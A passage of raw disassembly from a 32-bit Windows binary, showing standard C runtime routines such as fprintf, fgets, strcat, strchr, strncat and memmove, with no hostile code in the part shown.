jz short loc_4180FF
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_4180FF: ; CODE XREF: sub_417E70+287j
mov [ebp+var_C], 0
jmp short loc_41817A
; ---------------------------------------------------------------------------
loc_418108: ; CODE XREF: sub_417E70+281j
mov ecx, [ebp+arg_C]
and ecx, 4
test ecx, ecx
jnz short loc_418142
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jnz short loc_41817A
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41812F
cmp [ebp+var_C], 80000000h
ja short loc_418142
loc_41812F: ; CODE XREF: sub_417E70+2B4j
mov ecx, [ebp+arg_C]
and ecx, 2
test ecx, ecx
jnz short loc_41817A
cmp [ebp+var_C], 7FFFFFFFh
jbe short loc_41817A
loc_418142: ; CODE XREF: sub_417E70+2A0j
; sub_417E70+2BDj
call sub_420520
mov dword ptr [eax], 22h
mov edx, [ebp+arg_C]
and edx, 1
test edx, edx
jz short loc_418160
mov [ebp+var_C], 0FFFFFFFFh
jmp short loc_41817A
; ---------------------------------------------------------------------------
loc_418160: ; CODE XREF: sub_417E70+2E5j
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_418173
mov [ebp+var_C], 80000000h
jmp short loc_41817A
; ---------------------------------------------------------------------------
loc_418173: ; CODE XREF: sub_417E70+2F8j
mov [ebp+var_C], 7FFFFFFFh
loc_41817A: ; CODE XREF: sub_417E70+296j
; sub_417E70+2AAj ...
cmp [ebp+arg_4], 0
jz short loc_418188
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
loc_418188: ; CODE XREF: sub_417E70+30Ej
mov eax, [ebp+arg_C]
and eax, 2
test eax, eax
jz short loc_41819A
mov ecx, [ebp+var_C]
neg ecx
mov [ebp+var_C], ecx
loc_41819A: ; CODE XREF: sub_417E70+320j
mov eax, [ebp+var_C]
loc_41819D: ; CODE XREF: sub_417E70+D9j
mov esp, ebp
pop ebp
retn
sub_417E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4181B0 proc near ; CODE XREF: sub_403038+4DB6p
; sub_403038+4FF0p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_417E70
add esp, 10h
pop ebp
retn
sub_4181B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4181D0 proc near ; CODE XREF: sub_403038+450Ep
; ___:00418227p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 26A0AF2h
test eax, eax
jnz short loc_4181ED
nop
call near ptr 26908EFh
mov [ebp+var_4], eax
jmp short loc_4181F4
; ---------------------------------------------------------------------------
loc_4181ED: ; CODE XREF: sub_4181D0+10j
mov [ebp+var_4], 0
loc_4181F4: ; CODE XREF: sub_4181D0+1Bj
cmp [ebp+var_4], 0
jz short loc_41820B
mov ecx, [ebp+var_4]
push ecx
call sub_420480
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41820D
; ---------------------------------------------------------------------------
loc_41820B: ; CODE XREF: sub_4181D0+28j
xor eax, eax
loc_41820D: ; CODE XREF: sub_4181D0+39j
mov esp, ebp
pop ebp
retn
sub_4181D0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
push eax
call sub_4181D0
add esp, 4
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418240 proc near ; CODE XREF: sub_403038+4463p
; sub_40AF1B+181p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+arg_8]
mov [ebp+var_10], eax
loc_41824F: ; CODE XREF: sub_418240+37j
cmp [ebp+arg_0], 0
jnz short loc_418273
push offset dword_4334B4
push 0
push 38h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_418273
int 3 ; Trap to Debugger
loc_418273: ; CODE XREF: sub_418240+13j
; sub_418240+30j
xor ecx, ecx
test ecx, ecx
jnz short loc_41824F
loc_418279: ; CODE XREF: sub_418240+61j
cmp [ebp+arg_4], 0
jnz short loc_41829D
push offset aFormatNull ; "format != NULL"
push 0
push 39h
push offset aFprintf_c ; "fprintf.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41829D
int 3 ; Trap to Debugger
loc_41829D: ; CODE XREF: sub_418240+3Dj
; sub_418240+5Aj
xor edx, edx
test edx, edx
jnz short loc_418279
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
push ecx
call sub_418E90
add esp, 4
mov edx, [ebp+var_4]
push edx
call sub_420720
add esp, 4
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+var_4]
push edx
call sub_41E9B0
add esp, 0Ch
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_420880
add esp, 8
mov edx, [ebp+var_4]
push edx
call sub_418F00
add esp, 4
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418310 proc near ; CODE XREF: sub_403038+32EDp
; sub_403038+330Cp ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_418331
xor eax, eax
jmp short loc_418333
; ---------------------------------------------------------------------------
loc_418331: ; CODE XREF: sub_418310+1Bj
mov eax, edi
loc_418333: ; CODE XREF: sub_418310+1Fj
cld
pop edi
leave
retn
sub_418310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418340 proc near ; CODE XREF: sub_403038+2A0Bp
; sub_403038+2A3Ap
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_10], ecx
loc_418355: ; CODE XREF: sub_418340+3Dj
cmp [ebp+arg_0], 0
jnz short loc_418379
push offset aStringNull ; "string != NULL"
push 0
push 3Bh
loc_418364: ; DATA XREF: Themida_:00569FA2o
push offset aFgets_c ; "fgets.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_418379
int 3 ; Trap to Debugger
loc_418379: ; CODE XREF: sub_418340+19j
; sub_418340+36j
xor edx, edx
test edx, edx
jnz short loc_418355
loc_41837F: ; CODE XREF: sub_418340+67j
cmp [ebp+arg_8], 0
jnz short loc_4183A3
push offset dword_4334B4
push 0
push 3Ch
push offset aFgets_c ; "fgets.c"
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_4183A3
int 3 ; Trap to Debugger
loc_4183A3: ; CODE XREF: sub_418340+43j
; sub_418340+60j
xor eax, eax
test eax, eax
jnz short loc_41837F
cmp [ebp+arg_4], 0
jg short loc_4183B6
xor eax, eax
jmp loc_418477
; ---------------------------------------------------------------------------
loc_4183B6: ; CODE XREF: sub_418340+6Dj
mov ecx, [ebp+arg_8]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
push edx
call sub_418E90
add esp, 4
loc_4183C8: ; CODE XREF: sub_418340:loc_41845Dj
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
cmp [ebp+arg_4], 0
jz loc_418462
mov ecx, [ebp+var_4]
mov edx, [ecx+4]
sub edx, 1
mov eax, [ebp+var_4]
mov [eax+4], edx
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0
jl short loc_418413
mov edx, [ebp+var_4]
mov eax, [edx]
movsx ecx, byte ptr [eax]
and ecx, 0FFh
mov [ebp+var_14], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+var_4]
mov [ecx], eax
jmp short loc_418422
; ---------------------------------------------------------------------------
loc_418413: ; CODE XREF: sub_418340+B1j
mov edx, [ebp+var_4]
push edx
call sub_41DB50
add esp, 4
mov [ebp+var_14], eax
loc_418422: ; CODE XREF: sub_418340+D1j
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
cmp [ebp+var_C], 0FFFFFFFFh
jnz short loc_418441
mov ecx, [ebp+var_8]
cmp ecx, [ebp+arg_0]
jnz short loc_41843F
mov [ebp+var_10], 0
jmp short loc_418468
; ---------------------------------------------------------------------------
loc_41843F: ; CODE XREF: sub_418340+F4j
jmp short loc_418462
; ---------------------------------------------------------------------------
loc_418441: ; CODE XREF: sub_418340+ECj
mov edx, [ebp+var_8]
mov al, byte ptr [ebp+var_C]
mov [edx], al
movsx ecx, byte ptr [ebp+var_C]
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
cmp ecx, 0Ah
jnz short loc_41845D
jmp short loc_418462
; ---------------------------------------------------------------------------
loc_41845D: ; CODE XREF: sub_418340+119j
jmp loc_4183C8
; ---------------------------------------------------------------------------
loc_418462: ; CODE XREF: sub_418340+95j
; sub_418340:loc_41843Fj ...
mov eax, [ebp+var_8]
mov byte ptr [eax], 0
loc_418468: ; CODE XREF: sub_418340+FDj
mov ecx, [ebp+var_4]
push ecx
call sub_418F00
add esp, 4
mov eax, [ebp+var_10]
loc_418477: ; CODE XREF: sub_418340+71j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_418340 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418480 proc near ; CODE XREF: sub_403038+838p
; ___:00424B56p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_4184B1
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_4184AF
jz short loc_4184B1
dec ecx
dec ecx
loc_4184AF: ; CODE XREF: sub_418480+29j
not ecx
loc_4184B1: ; CODE XREF: sub_418480+9j
; sub_418480+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_418480 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4184C0 proc near ; CODE XREF: sub_403038+421p
; sub_403038+1C7Cp ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_418531
sub_4184C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4184D0 proc near ; CODE XREF: sub_403038+42Ap
; sub_403038+2A9Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_4184EC
loc_4184DD: ; CODE XREF: sub_4184D0+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41851F
test ecx, 3
jnz short loc_4184DD
loc_4184EC: ; CODE XREF: sub_4184D0+Bj
; sub_4184D0+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_4184EC
mov eax, [ecx-4]
test al, al
jz short loc_41852E
test ah, ah
jz short loc_418529
test eax, 0FF0000h
jz short loc_418524
test eax, 0FF000000h
jz short loc_41851F
jmp short loc_4184EC
; ---------------------------------------------------------------------------
loc_41851F: ; CODE XREF: sub_4184D0+12j
; sub_4184D0+4Bj
lea edi, [ecx-1]
jmp short loc_418531
; ---------------------------------------------------------------------------
loc_418524: ; CODE XREF: sub_4184D0+44j
lea edi, [ecx-2]
jmp short loc_418531
; ---------------------------------------------------------------------------
loc_418529: ; CODE XREF: sub_4184D0+3Dj
lea edi, [ecx-3]
jmp short loc_418531
; ---------------------------------------------------------------------------
loc_41852E: ; CODE XREF: sub_4184D0+39j
lea edi, [ecx-4]
loc_418531: ; CODE XREF: sub_4184C0+5j
; sub_4184D0+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_418556
loc_41853D: ; CODE XREF: sub_4184D0+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_4185A8
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41853D
jmp short loc_418556
; ---------------------------------------------------------------------------
loc_418551: ; CODE XREF: sub_4184D0+9Ej
; sub_4184D0+B8j
mov [edi], edx
add edi, 4
loc_418556: ; CODE XREF: sub_4184D0+6Bj
; sub_4184D0+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_418551
test dl, dl
jz short loc_4185A8
test dh, dh
jz short loc_41859F
test edx, 0FF0000h
jz short loc_418592
test edx, 0FF000000h
jz short loc_41858A
jmp short loc_418551
; ---------------------------------------------------------------------------
loc_41858A: ; CODE XREF: sub_4184D0+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_418592: ; CODE XREF: sub_4184D0+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41859F: ; CODE XREF: sub_4184D0+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4185A8: ; CODE XREF: sub_4184D0+72j
; sub_4184D0+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_4184D0 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4185C0
loc_4185B0: ; CODE XREF: sub_4185C0+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_4185C0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4185C0 proc near ; CODE XREF: sub_403038+406p
; sub_403038+4ADp ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 004185B0 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_4185C6: ; CODE XREF: sub_417B50+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_4185EB
loc_4185D8: ; CODE XREF: sub_4185C0+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_4185B0
test cl, cl
jz short loc_418634
test edx, 3
jnz short loc_4185D8
loc_4185EB: ; CODE XREF: sub_4185C0+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_4185F6: ; CODE XREF: sub_4185C0+61j
; sub_4185C0+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_418638
and eax, 81010100h
jz short loc_4185F6
and eax, 1010100h
jnz short loc_418632
and esi, 80000000h
jnz short loc_4185F6
loc_418632: ; CODE XREF: sub_4185C0+68j
; sub_4185C0+81j ...
pop esi
pop edi
loc_418634: ; CODE XREF: sub_4185C0+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418638: ; CODE XREF: sub_4185C0+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_418675
test al, al
jz short loc_418632
cmp ah, bl
jz short loc_41866E
test ah, ah
jz short loc_418632
shr eax, 10h
cmp al, bl
jz short loc_418667
test al, al
jz short loc_418632
cmp ah, bl
jz short loc_418660
test ah, ah
jz short loc_418632
jmp short loc_4185F6
; ---------------------------------------------------------------------------
loc_418660: ; CODE XREF: sub_4185C0+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418667: ; CODE XREF: sub_4185C0+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41866E: ; CODE XREF: sub_4185C0+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_418675: ; CODE XREF: sub_4185C0+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_4185C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418680 proc near ; CODE XREF: sub_408AA4+8Dp
; sub_4093A7+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_418734
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_4186AA
loc_41869B: ; CODE XREF: sub_418680+28j
mov al, [edi]
inc edi
test al, al
jz short loc_4186DB
test edi, 3
jnz short loc_41869B
loc_4186AA: ; CODE XREF: sub_418680+19j
; sub_418680+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_4186AA
mov eax, [edi-4]
test al, al
jz short loc_4186E8
test ah, ah
jz short loc_4186E3
test eax, 0FF0000h
jz short loc_4186DE
test eax, 0FF000000h
jnz short loc_4186AA
loc_4186DB: ; CODE XREF: sub_418680+20j
dec edi
jmp short loc_4186EB
; ---------------------------------------------------------------------------
loc_4186DE: ; CODE XREF: sub_418680+52j
sub edi, 2
jmp short loc_4186EB
; ---------------------------------------------------------------------------
loc_4186E3: ; CODE XREF: sub_418680+4Bj
sub edi, 3
jmp short loc_4186EB
; ---------------------------------------------------------------------------
loc_4186E8: ; CODE XREF: sub_418680+47j
sub edi, 4
loc_4186EB: ; CODE XREF: sub_418680+5Cj
; sub_418680+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_418700
mov ebx, ecx
shr ecx, 2
jnz short loc_41874C
jmp short loc_41871C
; ---------------------------------------------------------------------------
loc_418700: ; CODE XREF: sub_418680+75j
; sub_418680+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41873A
mov [edi], dl
inc edi
dec ecx
jz short loc_418730
test esi, 3
jnz short loc_418700
mov ebx, ecx
shr ecx, 2
jnz short loc_41874C
loc_41871C: ; CODE XREF: sub_418680+7Ej
; sub_418680+CAj
mov ecx, ebx
and ecx, 3
jz short loc_418730
loc_418723: ; CODE XREF: sub_418680+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_418732
dec ecx
jnz short loc_418723
loc_418730: ; CODE XREF: sub_418680+8Bj
; sub_418680+A1j
mov [edi], cl
loc_418732: ; CODE XREF: sub_418680+ABj
pop ebx
pop esi
loc_418734: ; CODE XREF: sub_418680+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41873A: ; CODE XREF: sub_418680+85j
; sub_418680+E8j
mov [edi], dl
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418744: ; CODE XREF: sub_418680+E4j
; sub_418680+FCj
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41871C
loc_41874C: ; CODE XREF: sub_418680+7Cj
; sub_418680+9Aj
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_418744
test dl, dl
jz short loc_41873A
test dh, dh
jz short loc_418798
test edx, 0FF0000h
jz short loc_418788
test edx, 0FF000000h
jnz short loc_418744
mov [edi], edx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418788: ; CODE XREF: sub_418680+F4j
mov [edi], dx
xor edx, edx
mov eax, [esp+0Ch+arg_0]
mov [edi+2], dl
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_418798: ; CODE XREF: sub_418680+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_418680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187B0 proc near ; CODE XREF: sub_408BD5+62p
; sub_408BD5+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4187D0
cmp edi, eax
jb loc_418948
loc_4187D0: ; CODE XREF: sub_4187B0+16j
test edi, 3
jnz short loc_4187EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41880C
rep movsd
jmp off_4188F8[edx*4]
; ---------------------------------------------------------------------------
loc_4187EC: ; CODE XREF: sub_4187B0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_418804
and eax, 3
add ecx, eax
jmp dword ptr loc_41880C+4[eax*4]
; ---------------------------------------------------------------------------
loc_418804: ; CODE XREF: sub_4187B0+46j
jmp dword ptr loc_418908[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41880C: ; CODE XREF: sub_4187B0+31j
; sub_4187B0+8Ej ...
jmp off_41888C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_418820
dd offset loc_41884C
dd offset loc_418870
; ---------------------------------------------------------------------------
loc_418820: ; DATA XREF: sub_4187B0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41880C
rep movsd
jmp off_4188F8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41884C: ; DATA XREF: sub_4187B0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41880C
rep movsd
jmp off_4188F8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418870: ; DATA XREF: sub_4187B0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41880C
rep movsd
jmp off_4188F8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41888C dd offset loc_4188EF ; DATA XREF: sub_4187B0:loc_41880Cr
dd offset loc_4188DC
dd offset loc_4188D4
dd offset loc_4188CC
dd offset loc_4188C4
dd offset loc_4188BC
dd offset loc_4188B4
dd offset loc_4188AC
; ---------------------------------------------------------------------------
loc_4188AC: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4188B4: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4188BC: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4188C4: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4188CC: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4188D4: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4188DC: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4188EF: ; CODE XREF: sub_4187B0:loc_41880Cj
; DATA XREF: sub_4187B0:off_41888Co
jmp off_4188F8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4188F8 dd offset loc_418908 ; DATA XREF: sub_4187B0+35r
; sub_4187B0+92r ...
dd offset loc_418910
dd offset loc_41891C
dd offset loc_418930
; ---------------------------------------------------------------------------
loc_418908: ; CODE XREF: sub_4187B0+35j
; sub_4187B0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418910: ; CODE XREF: sub_4187B0+35j
; sub_4187B0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41891C: ; CODE XREF: sub_4187B0+35j
; sub_4187B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418930: ; CODE XREF: sub_4187B0+35j
; sub_4187B0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418948: ; CODE XREF: sub_4187B0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41897C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_418970
std
rep movsd
cld
jmp off_418A90[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418970: ; CODE XREF: sub_4187B0+1B1j
; sub_4187B0+208j ...
neg ecx
jmp off_418A40[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41897C: ; CODE XREF: sub_4187B0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_418994
and eax, 3
sub ecx, eax
jmp dword ptr loc_418994+4[eax*4]
; ---------------------------------------------------------------------------
loc_418994: ; CODE XREF: sub_4187B0+1D6j
; DATA XREF: sub_4187B0+1DDr
jmp off_418A90[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_4189A8
dd offset unk_4189C8
dd offset loc_4189F0
; ---------------------------------------------------------------------------
loc_4189A8: ; DATA XREF: sub_4187B0+1ECo
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_418970
std
rep movsd
cld
jmp off_418A90[edx*4]
; ---------------------------------------------------------------------------
align 4
unk_4189C8 db 8Ah ; Š ; DATA XREF: sub_4187B0+1F0o
db 46h ; F
db 3
db 23h ; #
db 0D1h ; Ñ
db 88h ; ˆ
db 47h ; G
db 3
db 8Ah ; Š
db 46h ; F
db 2
db 0C1h ; Á
db 0E9h ; é
db 2
db 88h ; ˆ
db 47h ; G
db 2
db 83h ; ƒ
db 0EEh ; î
db 2
db 83h ; ƒ
db 0EFh ; ï
db 2
db 83h ; ƒ
db 0F9h ; ù
db 8
db 72h ; r
db 8Ch ; Œ
db 0FDh ; ý
db 0F3h ; ó
db 0A5h ; ¥
db 0FCh ; ü
db 0FFh
db 24h ; $
db 95h ; •
db 90h ;
db 8Ah ; Š
db 41h ; A
db 0
align 10h
loc_4189F0: ; DATA XREF: sub_4187B0+1F4o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_418970
std
rep movsd
cld
jmp off_418A90[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_418A44
dd offset loc_418A4C
dd offset loc_418A54
dd offset loc_418A5C
dd offset loc_418A64
dd offset loc_418A6C
dd offset loc_418A74
off_418A40 dd offset loc_418A87 ; DATA XREF: sub_4187B0+1C2r
; ---------------------------------------------------------------------------
loc_418A44: ; DATA XREF: sub_4187B0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_418A4C: ; DATA XREF: sub_4187B0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_418A54: ; DATA XREF: sub_4187B0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
